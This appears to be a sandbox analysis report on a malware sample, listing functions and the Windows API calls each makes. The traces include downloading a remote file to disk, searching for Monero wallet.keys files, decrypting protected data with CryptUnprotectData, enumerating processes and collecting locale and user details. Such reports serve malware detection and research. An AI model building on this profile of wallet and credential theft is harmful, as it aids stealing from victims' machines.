Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 43a2ec910ec87bd3f018a9a57ebf5913666e89cd59db970c623140ecbb3ee522
Instruction ID: f196c57976a0a3a72dd622ae3ffd4bbb3627f5317bc57e691167aaf776a2da76
Opcode Fuzzy Hash: 43a2ec910ec87bd3f018a9a57ebf5913666e89cd59db970c623140ecbb3ee522
Instruction Fuzzy Hash: 3191547290021497CB14FB74EC96DED73BDAF95301F4086E8F90AA6151EF34AB5C8B92

Function 00B160F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B1483B
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14852
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14869
Part of subcall function 00B14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B14889
Part of subcall function 00B14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B14899

InternetOpenA.WININET(00B30DE2,00000001,00000000,00000000,00000000), ref: 00B1615F
StrCmpCA.SHLWAPI(?,0074E6F0), ref: 00B16197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00B161DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00B16203
InternetReadFile.WININET(?,?,00000400,?), ref: 00B1622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B1625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00B16299
InternetCloseHandle.WININET(?), ref: 00B162A3
InternetCloseHandle.WININET(00000000), ref: 00B162B0

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: c5e44d1ef6f687cc8a3abec0b39dc12ccbc59fb9520864a27d8efb81259518da
Instruction ID: 6a3eb397a4d155ccbfde35a10c90cc9bd560f107e1e505214b2115b526d78052
Opcode Fuzzy Hash: c5e44d1ef6f687cc8a3abec0b39dc12ccbc59fb9520864a27d8efb81259518da
Instruction Fuzzy Hash: 525162B1910218ABDB20DF50DC45BEE77B9EF44301F5080D8B609B72C1DBB4AA85CFA5

Function 00B27630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

GetKeyboardLayoutList.USER32(00000000,00000000,00B3059F), ref: 00B27681
LocalAlloc.KERNEL32(00000040,?), ref: 00B27699
GetKeyboardLayoutList.USER32(?,00000000), ref: 00B276AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B27702
LocalFree.KERNEL32(00000000), ref: 00B277C2

Strings

/ , xrefs: 00B2771F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: c7d26f087b405854e22bdd56798a609e1e621df6e782fd36e3f697f21ce93ace
Instruction ID: dbb01ddca67d53ab8d1cb2f087923bc1d2b994d7cb2b196692540ec8c9b9a40f
Opcode Fuzzy Hash: c7d26f087b405854e22bdd56798a609e1e621df6e782fd36e3f697f21ce93ace
Instruction Fuzzy Hash: 0E414F71940228ABCB24DB54EC99BEDB7B4FB54700F2041D9E10EA6290DB742F84CFA5

Function 00B1E270 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00B30C1F), ref: 00B1E2E2
StrCmpCA.SHLWAPI(?,00B3149C), ref: 00B1E332
StrCmpCA.SHLWAPI(?,00B314A0), ref: 00B1E348
FindNextFileA.KERNEL32(000000FF,?), ref: 00B1EA1F

Strings

\*.*, xrefs: 00B1E28D

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 6f72179cc503008b1a216c12a499986639222c1eb6b581fff73d6be3a762f5b4
Instruction ID: 86214adc5fa6cbd2d3301685b9f9433a4e555b16443002ca8ef90a3c445071a5
Opcode Fuzzy Hash: 6f72179cc503008b1a216c12a499986639222c1eb6b581fff73d6be3a762f5b4
Instruction Fuzzy Hash: 611200719101289BCB18FB60EC96EED73B8AF55301F4045E9B50E62191EF746F98CFA2

Function 00B278A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B278D7
RtlAllocateHeap.NTDLL(00000000), ref: 00B278DE
RegOpenKeyExA.KERNEL32(80000002,0073BDB8,00000000,00020119,?), ref: 00B278FE
RegQueryValueExA.KERNEL32(?,0074D3B0,00000000,00000000,000000FF,000000FF), ref: 00B2791F
RegCloseKey.ADVAPI32(?), ref: 00B27932

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f534a7365d22d6b3ea3fd2bd3fd47b0141f65afa2974851c4d6358a0a8b3a88b
Instruction ID: 51b878eb31dfdecbb4592c64e9e8be2e90a93809f89646b96dbc61da189ddc37
Opcode Fuzzy Hash: f534a7365d22d6b3ea3fd2bd3fd47b0141f65afa2974851c4d6358a0a8b3a88b
Instruction Fuzzy Hash: 91118FB1A44315ABD704DF94ED8AF7BBBB8EB44B10F104159F609E7280D77458008BA0

Function 00B290A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B290BE
Process32First.KERNEL32(00B30AB3,00000128), ref: 00B290D2
Process32Next.KERNEL32(00B30AB3,00000128), ref: 00B290E7
StrCmpCA.SHLWAPI(?,00000000), ref: 00B290FC
CloseHandle.KERNEL32(00B30AB3), ref: 00B2911A

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2d4838ae911f0bf851c6bf981b316258c0a5715805cc8ed09a41c0f4cf0065bb
Instruction ID: 6cafe08e883d2313b72ba679eb801c7f1e0fa01ee0fe07088a3322588f829ce1
Opcode Fuzzy Hash: 2d4838ae911f0bf851c6bf981b316258c0a5715805cc8ed09a41c0f4cf0065bb
Instruction Fuzzy Hash: 9001D375A10218ABDB14DFA5ED89BAEBBF9AB08701F104198A50DE7240DB709A54DF60

Function 00B274D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0074DF30,00000000,?,00B30DE0,00000000,?,00000000,00000000), ref: 00B27503
RtlAllocateHeap.NTDLL(00000000), ref: 00B2750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0074DF30,00000000,?,00B30DE0,00000000,?,00000000,00000000,?), ref: 00B2751D
wsprintfA.USER32 ref: 00B27557

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 9d9ae9c2b5b5eba61448150097016c59e844327ca4f584e34e0611923af2a9e9
Instruction ID: c1f17d2c104acf7b04dd247829edcee1eca6f93a7447f28e635528c68392652e
Opcode Fuzzy Hash: 9d9ae9c2b5b5eba61448150097016c59e844327ca4f584e34e0611923af2a9e9
Instruction Fuzzy Hash: BF117CB1945228EBEB20CB54EC45FA9B7B8FB04721F1046D9F90AE32D0C77459448F95

Function 00B19BB0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B19BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00B19BF3
LocalFree.KERNEL32(?), ref: 00B19C23

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 16c45e4f296540aeba695549a744b488707d7725b3cccbb872f2b6122efd667d
Instruction ID: 5ec771d78ca293c62c5ae542e06f59fdbbdabecbc70c39cdb2fdc1e5ebe8f364
Opcode Fuzzy Hash: 16c45e4f296540aeba695549a744b488707d7725b3cccbb872f2b6122efd667d
Instruction Fuzzy Hash: 0411BAB9A00209DFCB04DF94D985AAEB7B5FF88700F104568E915A7354D730AE51CFA1

Function 00B272F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B111B7), ref: 00B27320
RtlAllocateHeap.NTDLL(00000000), ref: 00B27327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B2733F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

